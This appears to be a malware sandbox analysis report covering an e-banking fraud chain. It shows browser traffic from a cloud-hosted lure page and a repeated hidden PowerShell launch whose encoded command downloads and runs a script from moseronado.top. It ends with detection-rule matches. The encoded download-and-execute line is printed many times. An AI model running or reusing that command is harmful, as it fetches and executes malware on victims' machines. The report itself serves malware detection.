Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/2.1.3/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/2x/googlelogo_color_120x44dp.png HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: application/signed-exchange;v=b3;q=0.9,/;q=0.8Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /carlsednaoui/ouibounce/master/test/ouibounce.min.css HTTP/1.1Host: cdn.rawgit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /stat03940893/ HTTP/1.1Host: bacionera.topConnection: keep-aliveAccept: application/json, text/javascript, /; q=0.01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Origin: https://storage.googleapis.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/a0ant5ufbkmnghngb1btrk334bg0j65u/1634589900000/10323111707164989971//1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG?e=download HTTP/1.1Host: doc-0o-ac-docs.googleusercontent.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nonceSigner?nonce=e7j16a2kasg3e&continue=https://doc-0k-3c-docs.googleusercontent.com/docs/securesc/hcue5o0sqp41v6uc8cr49rhddquntu8g/mtvptcmevd2ocn9hi3nttjunvchc3gtu/1634589900000/10323111707164989971/04457783464220248333Z/1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG?e%3Ddownload&hash=237fjk8ru9cmmscc9rqktp4m1g276qu1 HTTP/1.1Host: docs.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=sFkyh8TNDoqjk-6jojhxegmarO_i7P1sbiNqeOZenBbKL_O6SeMPI3ySmcb6yEHnZBgstPXYCC9NkQH9rM1dzqXKouG2AOZv75PCV88nj8uRqVmE2jSLJt1Gegh2fd4SNCTOy9zyWdvHs05zuR2NtnYBx3cEaCsFUB2V3Y-8NKk
Source: global traffic	HTTP traffic detected: GET /333g100/index.php HTTP/1.1Host: moseronado.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /333g100/index.php HTTP/1.1Host: moseronado.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /333g100/index.php HTTP/1.1Host: moseronado.topConnection: Keep-Alive

E-Banking Fraud:

Malicious encrypted Powershell command line found

Show sources

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=

System Summary:

Wscript starts Powershell (via cmd or directly)

Show sources

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=

Source: amsi32_6820.amsi.csv, type: OTHER	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: amsi32_6820.amsi.csv, type: OTHER	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: amsi32_6888.amsi.csv, type: OTHER	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: amsi32_6888.amsi.csv, type: OTHER	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: amsi32_4840.amsi.csv, type: OTHER	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: amsi32_4840.amsi.csv, type: OTHER	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000003.338953199.00000000058D7000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000003.353205195.000000000356D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000003.354211813.0000000003571000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000003.319065824.0000000004C08000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001E.00000002.430635881.00000000051CE000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000003.338024968.00000000058C0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000002.319478544.0000000000757000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000003.319072958.0000000004C08000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000003.353237072.000000000357E000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000003.318706299.0000000004BF0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000002.358972178.000000000584D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000003.353366922.000000000357E000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000003.353773721.000000000584C000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000002.341556001.0000000003486000.00000004.00000020.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000003.318663458.0000000004BC7000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000003.338092097.00000000058C3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000003.319099838.0000000000757000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
